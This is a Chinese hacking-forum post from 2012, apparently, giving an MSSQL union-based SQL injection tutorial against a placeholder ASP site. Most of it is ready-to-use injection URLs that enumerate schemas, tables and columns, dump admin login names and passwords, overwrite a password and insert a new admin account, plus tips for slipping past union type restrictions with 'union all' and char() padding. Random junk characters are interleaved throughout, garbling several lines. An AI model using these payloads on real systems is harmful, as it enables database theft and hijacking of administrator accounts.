找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2182|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
爆库:
" E" l% L. r' \2 e0 F; u+ xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--. U' c3 ^8 X  x, e7 F, R; a# Q
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
8 n) ^  C" Z/ w1 P$ g( C) [0 Q3 x1 d爆下一个库:
& N4 D/ ~7 s( u! Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
/ y. `5 n" b! X% a1 k" C0 J  Y5 }$ [/ J1 w
爆表:% R4 j" L: j9 c, v# [" Q. _
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
% x4 r5 O3 V/ ]1 O" r, ^
$ e2 N4 Z- L5 {* j3 _( TSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.' m  P2 v% P$ k! p! r# v. |/ F
+ ?2 P% W. N% n4 Z6 L
爆下一个表1 b" L2 ]. ]8 s! C: n, [5 U- |
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
# r$ T- b2 F' y# G1 |
, S) ~, Y5 q( y5 m% U+ uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--+ Y, |: D; J, r( L

5 B' A5 @3 H0 g5 n8 {" f  B% p8 X. b* z" t/ n: H; H
2 c6 r2 O. Z" e/ p; s! q1 I/ F
爆字段:
4 u) b3 ~- l7 k6 B* U5 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--9 m9 |3 c# @1 V5 b6 l

( @" S  k# k7 o! q% P) U7 i0 a* T爆下一个字段
& L9 `) Y1 Y: L8 ^! `http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--* \6 P2 u! u- I2 P( [

9 Q5 g2 S; C! H  u" q  T6 s8 vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, E  P; f# P. G7 i* q
- X- [* c$ j" ^* X, {

$ k3 G( ]9 T& {) O. h$ s4 \" i5 e爆字段里的内容
/ v& e7 O- G1 X8 J6 C4 N) q8 |http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
. {/ o  c$ I& [7 m, ~2 {. K1 L7 @3 B9 P; Z% ?9 z' T
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--: ?2 F( a* ^! |! M; O

% U2 O& ^# h- \/ |http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
% X2 E* X. C. D5 G- b8 P, a. l
& Z# M7 k( [% Z  \& V& v1 bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--- w$ b% o& i2 {

$ m( n- X9 V7 P5 F6 K# V% a更新字段里的内容! s0 ^  f8 }/ U2 i) e
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--4 ?/ M9 |3 b1 m+ l

/ c/ {& e4 b  r, D! F: dhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--( Q) Y7 t( R& K" e

9 n, h8 J' u% X: i: _5 B- W) x5 s7 j) F0 B; |
+ N) I' }3 I/ Y/ S) w* }  w7 J
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
* q& m7 a1 F" w, ?    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。! a; N/ i, l% g
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
3 j( ^4 d. `3 z* W  M+ D    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。: }0 j( X; x! q
/ i2 g: c1 C7 W" e8 w2 [; P
突了了大部份限制的语句
; J3 o% h4 ]) M( p8 D$ \and 1=2 union all select char(49),char(50),null,null;--
) X5 Z3 t6 |, j; U  \& o% n* S# v% M
* M$ X  |4 F  A8 q. x  Q, i: P
null也可以正常执行,不过没有回显,不好判断回显的列数。) Q* w( K/ y7 V- Z, V, Q
一般union遇到问题都是有text或者ntext字段,image的很少遇到
3 {6 t$ I) r* L$ _) |+ r
* I, b+ T8 f1 D) ~% L  a可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
" o. K% p) y7 m, {9 f. f
- `. }4 q. t. G/ n2 \' x/ m; I1 F; ]9 F" ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表